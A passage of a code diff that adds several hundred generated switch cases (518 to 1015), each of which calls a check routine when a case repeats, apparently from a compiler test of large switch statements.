+ case 518: if (n[518]++ > 0) check ('a string 518'); break;
+ case 519: if (n[519]++ > 0) check ('a string 519'); break;
+ case 520: if (n[520]++ > 0) check ('a string 520'); break;
+ case 521: if (n[521]++ > 0) check ('a string 521'); break;
+ case 522: if (n[522]++ > 0) check ('a string 522'); break;
+ case 523: if (n[523]++ > 0) check ('a string 523'); break;
+ case 524: if (n[524]++ > 0) check ('a string 524'); break;
+ case 525: if (n[525]++ > 0) check ('a string 525'); break;
+ case 526: if (n[526]++ > 0) check ('a string 526'); break;
+ case 527: if (n[527]++ > 0) check ('a string 527'); break;
+ case 528: if (n[528]++ > 0) check ('a string 528'); break;
+ case 529: if (n[529]++ > 0) check ('a string 529'); break;
+ case 530: if (n[530]++ > 0) check ('a string 530'); break;
+ case 531: if (n[531]++ > 0) check ('a string 531'); break;
+ case 532: if (n[532]++ > 0) check ('a string 532'); break;
+ case 533: if (n[533]++ > 0) check ('a string 533'); break;
+ case 534: if (n[534]++ > 0) check ('a string 534'); break;
+ case 535: if (n[535]++ > 0) check ('a string 535'); break;
+ case 536: if (n[536]++ > 0) check ('a string 536'); break;
+ case 537: if (n[537]++ > 0) check ('a string 537'); break;
+ case 538: if (n[538]++ > 0) check ('a string 538'); break;
+ case 539: if (n[539]++ > 0) check ('a string 539'); break;
+ case 540: if (n[540]++ > 0) check ('a string 540'); break;
+ case 541: if (n[541]++ > 0) check ('a string 541'); break;
+ case 542: if (n[542]++ > 0) check ('a string 542'); break;
+ case 543: if (n[543]++ > 0) check ('a string 543'); break;
+ case 544: if (n[544]++ > 0) check ('a string 544'); break;
+ case 545: if (n[545]++ > 0) check ('a string 545'); break;
+ case 546: if (n[546]++ > 0) check ('a string 546'); break;
+ case 547: if (n[547]++ > 0) check ('a string 547'); break;
+ case 548: if (n[548]++ > 0) check ('a string 548'); break;
+ case 549: if (n[549]++ > 0) check ('a string 549'); break;
+ case 550: if (n[550]++ > 0) check ('a string 550'); break;
+ case 551: if (n[551]++ > 0) check ('a string 551'); break;
+ case 552: if (n[552]++ > 0) check ('a string 552'); break;
+ case 553: if (n[553]++ > 0) check ('a string 553'); break;
+ case 554: if (n[554]++ > 0) check ('a string 554'); break;
+ case 555: if (n[555]++ > 0) check ('a string 555'); break;
+ case 556: if (n[556]++ > 0) check ('a string 556'); break;
+ case 557: if (n[557]++ > 0) check ('a string 557'); break;
+ case 558: if (n[558]++ > 0) check ('a string 558'); break;
+ case 559: if (n[559]++ > 0) check ('a string 559'); break;
+ case 560: if (n[560]++ > 0) check ('a string 560'); break;
+ case 561: if (n[561]++ > 0) check ('a string 561'); break;
+ case 562: if (n[562]++ > 0) check ('a string 562'); break;
+ case 563: if (n[563]++ > 0) check ('a string 563'); break;
+ case 564: if (n[564]++ > 0) check ('a string 564'); break;
+ case 565: if (n[565]++ > 0) check ('a string 565'); break;
+ case 566: if (n[566]++ > 0) check ('a string 566'); break;
+ case 567: if (n[567]++ > 0) check ('a string 567'); break;
+ case 568: if (n[568]++ > 0) check ('a string 568'); break;
+ case 569: if (n[569]++ > 0) check ('a string 569'); break;
+ case 570: if (n[570]++ > 0) check ('a string 570'); break;
+ case 571: if (n[571]++ > 0) check ('a string 571'); break;
+ case 572: if (n[572]++ > 0) check ('a string 572'); break;
+ case 573: if (n[573]++ > 0) check ('a string 573'); break;
+ case 574: if (n[574]++ > 0) check ('a string 574'); break;
+ case 575: if (n[575]++ > 0) check ('a string 575'); break;
+ case 576: if (n[576]++ > 0) check ('a string 576'); break;
+ case 577: if (n[577]++ > 0) check ('a string 577'); break;
+ case 578: if (n[578]++ > 0) check ('a string 578'); break;
+ case 579: if (n[579]++ > 0) check ('a string 579'); break;
+ case 580: if (n[580]++ > 0) check ('a string 580'); break;
+ case 581: if (n[581]++ > 0) check ('a string 581'); break;
+ case 582: if (n[582]++ > 0) check ('a string 582'); break;
+ case 583: if (n[583]++ > 0) check ('a string 583'); break;
+ case 584: if (n[584]++ > 0) check ('a string 584'); break;
+ case 585: if (n[585]++ > 0) check ('a string 585'); break;
+ case 586: if (n[586]++ > 0) check ('a string 586'); break;
+ case 587: if (n[587]++ > 0) check ('a string 587'); break;
+ case 588: if (n[588]++ > 0) check ('a string 588'); break;
+ case 589: if (n[589]++ > 0) check ('a string 589'); break;
+ case 590: if (n[590]++ > 0) check ('a string 590'); break;
+ case 591: if (n[591]++ > 0) check ('a string 591'); break;
+ case 592: if (n[592]++ > 0) check ('a string 592'); break;
+ case 593: if (n[593]++ > 0) check ('a string 593'); break;
+ case 594: if (n[594]++ > 0) check ('a string 594'); break;
+ case 595: if (n[595]++ > 0) check ('a string 595'); break;
+ case 596: if (n[596]++ > 0) check ('a string 596'); break;
+ case 597: if (n[597]++ > 0) check ('a string 597'); break;
+ case 598: if (n[598]++ > 0) check ('a string 598'); break;
+ case 599: if (n[599]++ > 0) check ('a string 599'); break;
+ case 600: if (n[600]++ > 0) check ('a string 600'); break;
+ case 601: if (n[601]++ > 0) check ('a string 601'); break;
+ case 602: if (n[602]++ > 0) check ('a string 602'); break;
+ case 603: if (n[603]++ > 0) check ('a string 603'); break;
+ case 604: if (n[604]++ > 0) check ('a string 604'); break;
+ case 605: if (n[605]++ > 0) check ('a string 605'); break;
+ case 606: if (n[606]++ > 0) check ('a string 606'); break;
+ case 607: if (n[607]++ > 0) check ('a string 607'); break;
+ case 608: if (n[608]++ > 0) check ('a string 608'); break;
+ case 609: if (n[609]++ > 0) check ('a string 609'); break;
+ case 610: if (n[610]++ > 0) check ('a string 610'); break;
+ case 611: if (n[611]++ > 0) check ('a string 611'); break;
+ case 612: if (n[612]++ > 0) check ('a string 612'); break;
+ case 613: if (n[613]++ > 0) check ('a string 613'); break;
+ case 614: if (n[614]++ > 0) check ('a string 614'); break;
+ case 615: if (n[615]++ > 0) check ('a string 615'); break;
+ case 616: if (n[616]++ > 0) check ('a string 616'); break;
+ case 617: if (n[617]++ > 0) check ('a string 617'); break;
+ case 618: if (n[618]++ > 0) check ('a string 618'); break;
+ case 619: if (n[619]++ > 0) check ('a string 619'); break;
+ case 620: if (n[620]++ > 0) check ('a string 620'); break;
+ case 621: if (n[621]++ > 0) check ('a string 621'); break;
+ case 622: if (n[622]++ > 0) check ('a string 622'); break;
+ case 623: if (n[623]++ > 0) check ('a string 623'); break;
+ case 624: if (n[624]++ > 0) check ('a string 624'); break;
+ case 625: if (n[625]++ > 0) check ('a string 625'); break;
+ case 626: if (n[626]++ > 0) check ('a string 626'); break;
+ case 627: if (n[627]++ > 0) check ('a string 627'); break;
+ case 628: if (n[628]++ > 0) check ('a string 628'); break;
+ case 629: if (n[629]++ > 0) check ('a string 629'); break;
+ case 630: if (n[630]++ > 0) check ('a string 630'); break;
+ case 631: if (n[631]++ > 0) check ('a string 631'); break;
+ case 632: if (n[632]++ > 0) check ('a string 632'); break;
+ case 633: if (n[633]++ > 0) check ('a string 633'); break;
+ case 634: if (n[634]++ > 0) check ('a string 634'); break;
+ case 635: if (n[635]++ > 0) check ('a string 635'); break;
+ case 636: if (n[636]++ > 0) check ('a string 636'); break;
+ case 637: if (n[637]++ > 0) check ('a string 637'); break;
+ case 638: if (n[638]++ > 0) check ('a string 638'); break;
+ case 639: if (n[639]++ > 0) check ('a string 639'); break;
+ case 640: if (n[640]++ > 0) check ('a string 640'); break;
+ case 641: if (n[641]++ > 0) check ('a string 641'); break;
+ case 642: if (n[642]++ > 0) check ('a string 642'); break;
+ case 643: if (n[643]++ > 0) check ('a string 643'); break;
+ case 644: if (n[644]++ > 0) check ('a string 644'); break;
+ case 645: if (n[645]++ > 0) check ('a string 645'); break;
+ case 646: if (n[646]++ > 0) check ('a string 646'); break;
+ case 647: if (n[647]++ > 0) check ('a string 647'); break;
+ case 648: if (n[648]++ > 0) check ('a string 648'); break;
+ case 649: if (n[649]++ > 0) check ('a string 649'); break;
+ case 650: if (n[650]++ > 0) check ('a string 650'); break;
+ case 651: if (n[651]++ > 0) check ('a string 651'); break;
+ case 652: if (n[652]++ > 0) check ('a string 652'); break;
+ case 653: if (n[653]++ > 0) check ('a string 653'); break;
+ case 654: if (n[654]++ > 0) check ('a string 654'); break;
+ case 655: if (n[655]++ > 0) check ('a string 655'); break;
+ case 656: if (n[656]++ > 0) check ('a string 656'); break;
+ case 657: if (n[657]++ > 0) check ('a string 657'); break;
+ case 658: if (n[658]++ > 0) check ('a string 658'); break;
+ case 659: if (n[659]++ > 0) check ('a string 659'); break;
+ case 660: if (n[660]++ > 0) check ('a string 660'); break;
+ case 661: if (n[661]++ > 0) check ('a string 661'); break;
+ case 662: if (n[662]++ > 0) check ('a string 662'); break;
+ case 663: if (n[663]++ > 0) check ('a string 663'); break;
+ case 664: if (n[664]++ > 0) check ('a string 664'); break;
+ case 665: if (n[665]++ > 0) check ('a string 665'); break;
+ case 666: if (n[666]++ > 0) check ('a string 666'); break;
+ case 667: if (n[667]++ > 0) check ('a string 667'); break;
+ case 668: if (n[668]++ > 0) check ('a string 668'); break;
+ case 669: if (n[669]++ > 0) check ('a string 669'); break;
+ case 670: if (n[670]++ > 0) check ('a string 670'); break;
+ case 671: if (n[671]++ > 0) check ('a string 671'); break;
+ case 672: if (n[672]++ > 0) check ('a string 672'); break;
+ case 673: if (n[673]++ > 0) check ('a string 673'); break;
+ case 674: if (n[674]++ > 0) check ('a string 674'); break;
+ case 675: if (n[675]++ > 0) check ('a string 675'); break;
+ case 676: if (n[676]++ > 0) check ('a string 676'); break;
+ case 677: if (n[677]++ > 0) check ('a string 677'); break;
+ case 678: if (n[678]++ > 0) check ('a string 678'); break;
+ case 679: if (n[679]++ > 0) check ('a string 679'); break;
+ case 680: if (n[680]++ > 0) check ('a string 680'); break;
+ case 681: if (n[681]++ > 0) check ('a string 681'); break;
+ case 682: if (n[682]++ > 0) check ('a string 682'); break;
+ case 683: if (n[683]++ > 0) check ('a string 683'); break;
+ case 684: if (n[684]++ > 0) check ('a string 684'); break;
+ case 685: if (n[685]++ > 0) check ('a string 685'); break;
+ case 686: if (n[686]++ > 0) check ('a string 686'); break;
+ case 687: if (n[687]++ > 0) check ('a string 687'); break;
+ case 688: if (n[688]++ > 0) check ('a string 688'); break;
+ case 689: if (n[689]++ > 0) check ('a string 689'); break;
+ case 690: if (n[690]++ > 0) check ('a string 690'); break;
+ case 691: if (n[691]++ > 0) check ('a string 691'); break;
+ case 692: if (n[692]++ > 0) check ('a string 692'); break;
+ case 693: if (n[693]++ > 0) check ('a string 693'); break;
+ case 694: if (n[694]++ > 0) check ('a string 694'); break;
+ case 695: if (n[695]++ > 0) check ('a string 695'); break;
+ case 696: if (n[696]++ > 0) check ('a string 696'); break;
+ case 697: if (n[697]++ > 0) check ('a string 697'); break;
+ case 698: if (n[698]++ > 0) check ('a string 698'); break;
+ case 699: if (n[699]++ > 0) check ('a string 699'); break;
+ case 700: if (n[700]++ > 0) check ('a string 700'); break;
+ case 701: if (n[701]++ > 0) check ('a string 701'); break;
+ case 702: if (n[702]++ > 0) check ('a string 702'); break;
+ case 703: if (n[703]++ > 0) check ('a string 703'); break;
+ case 704: if (n[704]++ > 0) check ('a string 704'); break;
+ case 705: if (n[705]++ > 0) check ('a string 705'); break;
+ case 706: if (n[706]++ > 0) check ('a string 706'); break;
+ case 707: if (n[707]++ > 0) check ('a string 707'); break;
+ case 708: if (n[708]++ > 0) check ('a string 708'); break;
+ case 709: if (n[709]++ > 0) check ('a string 709'); break;
+ case 710: if (n[710]++ > 0) check ('a string 710'); break;
+ case 711: if (n[711]++ > 0) check ('a string 711'); break;
+ case 712: if (n[712]++ > 0) check ('a string 712'); break;
+ case 713: if (n[713]++ > 0) check ('a string 713'); break;
+ case 714: if (n[714]++ > 0) check ('a string 714'); break;
+ case 715: if (n[715]++ > 0) check ('a string 715'); break;
+ case 716: if (n[716]++ > 0) check ('a string 716'); break;
+ case 717: if (n[717]++ > 0) check ('a string 717'); break;
+ case 718: if (n[718]++ > 0) check ('a string 718'); break;
+ case 719: if (n[719]++ > 0) check ('a string 719'); break;
+ case 720: if (n[720]++ > 0) check ('a string 720'); break;
+ case 721: if (n[721]++ > 0) check ('a string 721'); break;
+ case 722: if (n[722]++ > 0) check ('a string 722'); break;
+ case 723: if (n[723]++ > 0) check ('a string 723'); break;
+ case 724: if (n[724]++ > 0) check ('a string 724'); break;
+ case 725: if (n[725]++ > 0) check ('a string 725'); break;
+ case 726: if (n[726]++ > 0) check ('a string 726'); break;
+ case 727: if (n[727]++ > 0) check ('a string 727'); break;
+ case 728: if (n[728]++ > 0) check ('a string 728'); break;
+ case 729: if (n[729]++ > 0) check ('a string 729'); break;
+ case 730: if (n[730]++ > 0) check ('a string 730'); break;
+ case 731: if (n[731]++ > 0) check ('a string 731'); break;
+ case 732: if (n[732]++ > 0) check ('a string 732'); break;
+ case 733: if (n[733]++ > 0) check ('a string 733'); break;
+ case 734: if (n[734]++ > 0) check ('a string 734'); break;
+ case 735: if (n[735]++ > 0) check ('a string 735'); break;
+ case 736: if (n[736]++ > 0) check ('a string 736'); break;
+ case 737: if (n[737]++ > 0) check ('a string 737'); break;
+ case 738: if (n[738]++ > 0) check ('a string 738'); break;
+ case 739: if (n[739]++ > 0) check ('a string 739'); break;
+ case 740: if (n[740]++ > 0) check ('a string 740'); break;
+ case 741: if (n[741]++ > 0) check ('a string 741'); break;
+ case 742: if (n[742]++ > 0) check ('a string 742'); break;
+ case 743: if (n[743]++ > 0) check ('a string 743'); break;
+ case 744: if (n[744]++ > 0) check ('a string 744'); break;
+ case 745: if (n[745]++ > 0) check ('a string 745'); break;
+ case 746: if (n[746]++ > 0) check ('a string 746'); break;
+ case 747: if (n[747]++ > 0) check ('a string 747'); break;
+ case 748: if (n[748]++ > 0) check ('a string 748'); break;
+ case 749: if (n[749]++ > 0) check ('a string 749'); break;
+ case 750: if (n[750]++ > 0) check ('a string 750'); break;
+ case 751: if (n[751]++ > 0) check ('a string 751'); break;
+ case 752: if (n[752]++ > 0) check ('a string 752'); break;
+ case 753: if (n[753]++ > 0) check ('a string 753'); break;
+ case 754: if (n[754]++ > 0) check ('a string 754'); break;
+ case 755: if (n[755]++ > 0) check ('a string 755'); break;
+ case 756: if (n[756]++ > 0) check ('a string 756'); break;
+ case 757: if (n[757]++ > 0) check ('a string 757'); break;
+ case 758: if (n[758]++ > 0) check ('a string 758'); break;
+ case 759: if (n[759]++ > 0) check ('a string 759'); break;
+ case 760: if (n[760]++ > 0) check ('a string 760'); break;
+ case 761: if (n[761]++ > 0) check ('a string 761'); break;
+ case 762: if (n[762]++ > 0) check ('a string 762'); break;
+ case 763: if (n[763]++ > 0) check ('a string 763'); break;
+ case 764: if (n[764]++ > 0) check ('a string 764'); break;
+ case 765: if (n[765]++ > 0) check ('a string 765'); break;
+ case 766: if (n[766]++ > 0) check ('a string 766'); break;
+ case 767: if (n[767]++ > 0) check ('a string 767'); break;
+ case 768: if (n[768]++ > 0) check ('a string 768'); break;
+ case 769: if (n[769]++ > 0) check ('a string 769'); break;
+ case 770: if (n[770]++ > 0) check ('a string 770'); break;
+ case 771: if (n[771]++ > 0) check ('a string 771'); break;
+ case 772: if (n[772]++ > 0) check ('a string 772'); break;
+ case 773: if (n[773]++ > 0) check ('a string 773'); break;
+ case 774: if (n[774]++ > 0) check ('a string 774'); break;
+ case 775: if (n[775]++ > 0) check ('a string 775'); break;
+ case 776: if (n[776]++ > 0) check ('a string 776'); break;
+ case 777: if (n[777]++ > 0) check ('a string 777'); break;
+ case 778: if (n[778]++ > 0) check ('a string 778'); break;
+ case 779: if (n[779]++ > 0) check ('a string 779'); break;
+ case 780: if (n[780]++ > 0) check ('a string 780'); break;
+ case 781: if (n[781]++ > 0) check ('a string 781'); break;
+ case 782: if (n[782]++ > 0) check ('a string 782'); break;
+ case 783: if (n[783]++ > 0) check ('a string 783'); break;
+ case 784: if (n[784]++ > 0) check ('a string 784'); break;
+ case 785: if (n[785]++ > 0) check ('a string 785'); break;
+ case 786: if (n[786]++ > 0) check ('a string 786'); break;
+ case 787: if (n[787]++ > 0) check ('a string 787'); break;
+ case 788: if (n[788]++ > 0) check ('a string 788'); break;
+ case 789: if (n[789]++ > 0) check ('a string 789'); break;
+ case 790: if (n[790]++ > 0) check ('a string 790'); break;
+ case 791: if (n[791]++ > 0) check ('a string 791'); break;
+ case 792: if (n[792]++ > 0) check ('a string 792'); break;
+ case 793: if (n[793]++ > 0) check ('a string 793'); break;
+ case 794: if (n[794]++ > 0) check ('a string 794'); break;
+ case 795: if (n[795]++ > 0) check ('a string 795'); break;
+ case 796: if (n[796]++ > 0) check ('a string 796'); break;
+ case 797: if (n[797]++ > 0) check ('a string 797'); break;
+ case 798: if (n[798]++ > 0) check ('a string 798'); break;
+ case 799: if (n[799]++ > 0) check ('a string 799'); break;
+ case 800: if (n[800]++ > 0) check ('a string 800'); break;
+ case 801: if (n[801]++ > 0) check ('a string 801'); break;
+ case 802: if (n[802]++ > 0) check ('a string 802'); break;
+ case 803: if (n[803]++ > 0) check ('a string 803'); break;
+ case 804: if (n[804]++ > 0) check ('a string 804'); break;
+ case 805: if (n[805]++ > 0) check ('a string 805'); break;
+ case 806: if (n[806]++ > 0) check ('a string 806'); break;
+ case 807: if (n[807]++ > 0) check ('a string 807'); break;
+ case 808: if (n[808]++ > 0) check ('a string 808'); break;
+ case 809: if (n[809]++ > 0) check ('a string 809'); break;
+ case 810: if (n[810]++ > 0) check ('a string 810'); break;
+ case 811: if (n[811]++ > 0) check ('a string 811'); break;
+ case 812: if (n[812]++ > 0) check ('a string 812'); break;
+ case 813: if (n[813]++ > 0) check ('a string 813'); break;
+ case 814: if (n[814]++ > 0) check ('a string 814'); break;
+ case 815: if (n[815]++ > 0) check ('a string 815'); break;
+ case 816: if (n[816]++ > 0) check ('a string 816'); break;
+ case 817: if (n[817]++ > 0) check ('a string 817'); break;
+ case 818: if (n[818]++ > 0) check ('a string 818'); break;
+ case 819: if (n[819]++ > 0) check ('a string 819'); break;
+ case 820: if (n[820]++ > 0) check ('a string 820'); break;
+ case 821: if (n[821]++ > 0) check ('a string 821'); break;
+ case 822: if (n[822]++ > 0) check ('a string 822'); break;
+ case 823: if (n[823]++ > 0) check ('a string 823'); break;
+ case 824: if (n[824]++ > 0) check ('a string 824'); break;
+ case 825: if (n[825]++ > 0) check ('a string 825'); break;
+ case 826: if (n[826]++ > 0) check ('a string 826'); break;
+ case 827: if (n[827]++ > 0) check ('a string 827'); break;
+ case 828: if (n[828]++ > 0) check ('a string 828'); break;
+ case 829: if (n[829]++ > 0) check ('a string 829'); break;
+ case 830: if (n[830]++ > 0) check ('a string 830'); break;
+ case 831: if (n[831]++ > 0) check ('a string 831'); break;
+ case 832: if (n[832]++ > 0) check ('a string 832'); break;
+ case 833: if (n[833]++ > 0) check ('a string 833'); break;
+ case 834: if (n[834]++ > 0) check ('a string 834'); break;
+ case 835: if (n[835]++ > 0) check ('a string 835'); break;
+ case 836: if (n[836]++ > 0) check ('a string 836'); break;
+ case 837: if (n[837]++ > 0) check ('a string 837'); break;
+ case 838: if (n[838]++ > 0) check ('a string 838'); break;
+ case 839: if (n[839]++ > 0) check ('a string 839'); break;
+ case 840: if (n[840]++ > 0) check ('a string 840'); break;
+ case 841: if (n[841]++ > 0) check ('a string 841'); break;
+ case 842: if (n[842]++ > 0) check ('a string 842'); break;
+ case 843: if (n[843]++ > 0) check ('a string 843'); break;
+ case 844: if (n[844]++ > 0) check ('a string 844'); break;
+ case 845: if (n[845]++ > 0) check ('a string 845'); break;
+ case 846: if (n[846]++ > 0) check ('a string 846'); break;
+ case 847: if (n[847]++ > 0) check ('a string 847'); break;
+ case 848: if (n[848]++ > 0) check ('a string 848'); break;
+ case 849: if (n[849]++ > 0) check ('a string 849'); break;
+ case 850: if (n[850]++ > 0) check ('a string 850'); break;
+ case 851: if (n[851]++ > 0) check ('a string 851'); break;
+ case 852: if (n[852]++ > 0) check ('a string 852'); break;
+ case 853: if (n[853]++ > 0) check ('a string 853'); break;
+ case 854: if (n[854]++ > 0) check ('a string 854'); break;
+ case 855: if (n[855]++ > 0) check ('a string 855'); break;
+ case 856: if (n[856]++ > 0) check ('a string 856'); break;
+ case 857: if (n[857]++ > 0) check ('a string 857'); break;
+ case 858: if (n[858]++ > 0) check ('a string 858'); break;
+ case 859: if (n[859]++ > 0) check ('a string 859'); break;
+ case 860: if (n[860]++ > 0) check ('a string 860'); break;
+ case 861: if (n[861]++ > 0) check ('a string 861'); break;
+ case 862: if (n[862]++ > 0) check ('a string 862'); break;
+ case 863: if (n[863]++ > 0) check ('a string 863'); break;
+ case 864: if (n[864]++ > 0) check ('a string 864'); break;
+ case 865: if (n[865]++ > 0) check ('a string 865'); break;
+ case 866: if (n[866]++ > 0) check ('a string 866'); break;
+ case 867: if (n[867]++ > 0) check ('a string 867'); break;
+ case 868: if (n[868]++ > 0) check ('a string 868'); break;
+ case 869: if (n[869]++ > 0) check ('a string 869'); break;
+ case 870: if (n[870]++ > 0) check ('a string 870'); break;
+ case 871: if (n[871]++ > 0) check ('a string 871'); break;
+ case 872: if (n[872]++ > 0) check ('a string 872'); break;
+ case 873: if (n[873]++ > 0) check ('a string 873'); break;
+ case 874: if (n[874]++ > 0) check ('a string 874'); break;
+ case 875: if (n[875]++ > 0) check ('a string 875'); break;
+ case 876: if (n[876]++ > 0) check ('a string 876'); break;
+ case 877: if (n[877]++ > 0) check ('a string 877'); break;
+ case 878: if (n[878]++ > 0) check ('a string 878'); break;
+ case 879: if (n[879]++ > 0) check ('a string 879'); break;
+ case 880: if (n[880]++ > 0) check ('a string 880'); break;
+ case 881: if (n[881]++ > 0) check ('a string 881'); break;
+ case 882: if (n[882]++ > 0) check ('a string 882'); break;
+ case 883: if (n[883]++ > 0) check ('a string 883'); break;
+ case 884: if (n[884]++ > 0) check ('a string 884'); break;
+ case 885: if (n[885]++ > 0) check ('a string 885'); break;
+ case 886: if (n[886]++ > 0) check ('a string 886'); break;
+ case 887: if (n[887]++ > 0) check ('a string 887'); break;
+ case 888: if (n[888]++ > 0) check ('a string 888'); break;
+ case 889: if (n[889]++ > 0) check ('a string 889'); break;
+ case 890: if (n[890]++ > 0) check ('a string 890'); break;
+ case 891: if (n[891]++ > 0) check ('a string 891'); break;
+ case 892: if (n[892]++ > 0) check ('a string 892'); break;
+ case 893: if (n[893]++ > 0) check ('a string 893'); break;
+ case 894: if (n[894]++ > 0) check ('a string 894'); break;
+ case 895: if (n[895]++ > 0) check ('a string 895'); break;
+ case 896: if (n[896]++ > 0) check ('a string 896'); break;
+ case 897: if (n[897]++ > 0) check ('a string 897'); break;
+ case 898: if (n[898]++ > 0) check ('a string 898'); break;
+ case 899: if (n[899]++ > 0) check ('a string 899'); break;
+ case 900: if (n[900]++ > 0) check ('a string 900'); break;
+ case 901: if (n[901]++ > 0) check ('a string 901'); break;
+ case 902: if (n[902]++ > 0) check ('a string 902'); break;
+ case 903: if (n[903]++ > 0) check ('a string 903'); break;
+ case 904: if (n[904]++ > 0) check ('a string 904'); break;
+ case 905: if (n[905]++ > 0) check ('a string 905'); break;
+ case 906: if (n[906]++ > 0) check ('a string 906'); break;
+ case 907: if (n[907]++ > 0) check ('a string 907'); break;
+ case 908: if (n[908]++ > 0) check ('a string 908'); break;
+ case 909: if (n[909]++ > 0) check ('a string 909'); break;
+ case 910: if (n[910]++ > 0) check ('a string 910'); break;
+ case 911: if (n[911]++ > 0) check ('a string 911'); break;
+ case 912: if (n[912]++ > 0) check ('a string 912'); break;
+ case 913: if (n[913]++ > 0) check ('a string 913'); break;
+ case 914: if (n[914]++ > 0) check ('a string 914'); break;
+ case 915: if (n[915]++ > 0) check ('a string 915'); break;
+ case 916: if (n[916]++ > 0) check ('a string 916'); break;
+ case 917: if (n[917]++ > 0) check ('a string 917'); break;
+ case 918: if (n[918]++ > 0) check ('a string 918'); break;
+ case 919: if (n[919]++ > 0) check ('a string 919'); break;
+ case 920: if (n[920]++ > 0) check ('a string 920'); break;
+ case 921: if (n[921]++ > 0) check ('a string 921'); break;
+ case 922: if (n[922]++ > 0) check ('a string 922'); break;
+ case 923: if (n[923]++ > 0) check ('a string 923'); break;
+ case 924: if (n[924]++ > 0) check ('a string 924'); break;
+ case 925: if (n[925]++ > 0) check ('a string 925'); break;
+ case 926: if (n[926]++ > 0) check ('a string 926'); break;
+ case 927: if (n[927]++ > 0) check ('a string 927'); break;
+ case 928: if (n[928]++ > 0) check ('a string 928'); break;
+ case 929: if (n[929]++ > 0) check ('a string 929'); break;
+ case 930: if (n[930]++ > 0) check ('a string 930'); break;
+ case 931: if (n[931]++ > 0) check ('a string 931'); break;
+ case 932: if (n[932]++ > 0) check ('a string 932'); break;
+ case 933: if (n[933]++ > 0) check ('a string 933'); break;
+ case 934: if (n[934]++ > 0) check ('a string 934'); break;
+ case 935: if (n[935]++ > 0) check ('a string 935'); break;
+ case 936: if (n[936]++ > 0) check ('a string 936'); break;
+ case 937: if (n[937]++ > 0) check ('a string 937'); break;
+ case 938: if (n[938]++ > 0) check ('a string 938'); break;
+ case 939: if (n[939]++ > 0) check ('a string 939'); break;
+ case 940: if (n[940]++ > 0) check ('a string 940'); break;
+ case 941: if (n[941]++ > 0) check ('a string 941'); break;
+ case 942: if (n[942]++ > 0) check ('a string 942'); break;
+ case 943: if (n[943]++ > 0) check ('a string 943'); break;
+ case 944: if (n[944]++ > 0) check ('a string 944'); break;
+ case 945: if (n[945]++ > 0) check ('a string 945'); break;
+ case 946: if (n[946]++ > 0) check ('a string 946'); break;
+ case 947: if (n[947]++ > 0) check ('a string 947'); break;
+ case 948: if (n[948]++ > 0) check ('a string 948'); break;
+ case 949: if (n[949]++ > 0) check ('a string 949'); break;
+ case 950: if (n[950]++ > 0) check ('a string 950'); break;
+ case 951: if (n[951]++ > 0) check ('a string 951'); break;
+ case 952: if (n[952]++ > 0) check ('a string 952'); break;
+ case 953: if (n[953]++ > 0) check ('a string 953'); break;
+ case 954: if (n[954]++ > 0) check ('a string 954'); break;
+ case 955: if (n[955]++ > 0) check ('a string 955'); break;
+ case 956: if (n[956]++ > 0) check ('a string 956'); break;
+ case 957: if (n[957]++ > 0) check ('a string 957'); break;
+ case 958: if (n[958]++ > 0) check ('a string 958'); break;
+ case 959: if (n[959]++ > 0) check ('a string 959'); break;
+ case 960: if (n[960]++ > 0) check ('a string 960'); break;
+ case 961: if (n[961]++ > 0) check ('a string 961'); break;
+ case 962: if (n[962]++ > 0) check ('a string 962'); break;
+ case 963: if (n[963]++ > 0) check ('a string 963'); break;
+ case 964: if (n[964]++ > 0) check ('a string 964'); break;
+ case 965: if (n[965]++ > 0) check ('a string 965'); break;
+ case 966: if (n[966]++ > 0) check ('a string 966'); break;
+ case 967: if (n[967]++ > 0) check ('a string 967'); break;
+ case 968: if (n[968]++ > 0) check ('a string 968'); break;
+ case 969: if (n[969]++ > 0) check ('a string 969'); break;
+ case 970: if (n[970]++ > 0) check ('a string 970'); break;
+ case 971: if (n[971]++ > 0) check ('a string 971'); break;
+ case 972: if (n[972]++ > 0) check ('a string 972'); break;
+ case 973: if (n[973]++ > 0) check ('a string 973'); break;
+ case 974: if (n[974]++ > 0) check ('a string 974'); break;
+ case 975: if (n[975]++ > 0) check ('a string 975'); break;
+ case 976: if (n[976]++ > 0) check ('a string 976'); break;
+ case 977: if (n[977]++ > 0) check ('a string 977'); break;
+ case 978: if (n[978]++ > 0) check ('a string 978'); break;
+ case 979: if (n[979]++ > 0) check ('a string 979'); break;
+ case 980: if (n[980]++ > 0) check ('a string 980'); break;
+ case 981: if (n[981]++ > 0) check ('a string 981'); break;
+ case 982: if (n[982]++ > 0) check ('a string 982'); break;
+ case 983: if (n[983]++ > 0) check ('a string 983'); break;
+ case 984: if (n[984]++ > 0) check ('a string 984'); break;
+ case 985: if (n[985]++ > 0) check ('a string 985'); break;
+ case 986: if (n[986]++ > 0) check ('a string 986'); break;
+ case 987: if (n[987]++ > 0) check ('a string 987'); break;
+ case 988: if (n[988]++ > 0) check ('a string 988'); break;
+ case 989: if (n[989]++ > 0) check ('a string 989'); break;
+ case 990: if (n[990]++ > 0) check ('a string 990'); break;
+ case 991: if (n[991]++ > 0) check ('a string 991'); break;
+ case 992: if (n[992]++ > 0) check ('a string 992'); break;
+ case 993: if (n[993]++ > 0) check ('a string 993'); break;
+ case 994: if (n[994]++ > 0) check ('a string 994'); break;
+ case 995: if (n[995]++ > 0) check ('a string 995'); break;
+ case 996: if (n[996]++ > 0) check ('a string 996'); break;
+ case 997: if (n[997]++ > 0) check ('a string 997'); break;
+ case 998: if (n[998]++ > 0) check ('a string 998'); break;
+ case 999: if (n[999]++ > 0) check ('a string 999'); break;
+ case 1000: if (n[1000]++ > 0) check ('a string 1000'); break;
+ case 1001: if (n[1001]++ > 0) check ('a string 1001'); break;
+ case 1002: if (n[1002]++ > 0) check ('a string 1002'); break;
+ case 1003: if (n[1003]++ > 0) check ('a string 1003'); break;
+ case 1004: if (n[1004]++ > 0) check ('a string 1004'); break;
+ case 1005: if (n[1005]++ > 0) check ('a string 1005'); break;
+ case 1006: if (n[1006]++ > 0) check ('a string 1006'); break;
+ case 1007: if (n[1007]++ > 0) check ('a string 1007'); break;
+ case 1008: if (n[1008]++ > 0) check ('a string 1008'); break;
+ case 1009: if (n[1009]++ > 0) check ('a string 1009'); break;
+ case 1010: if (n[1010]++ > 0) check ('a string 1010'); break;
+ case 1011: if (n[1011]++ > 0) check ('a string 1011'); break;
+ case 1012: if (n[1012]++ > 0) check ('a string 1012'); break;
+ case 1013: if (n[1013]++ > 0) check ('a string 1013'); break;
+ case 1014: if (n[1014]++ > 0) check ('a string 1014'); break;
+ case 1015: if (n[1015]++ > 0) check ('a string 1015'); break;
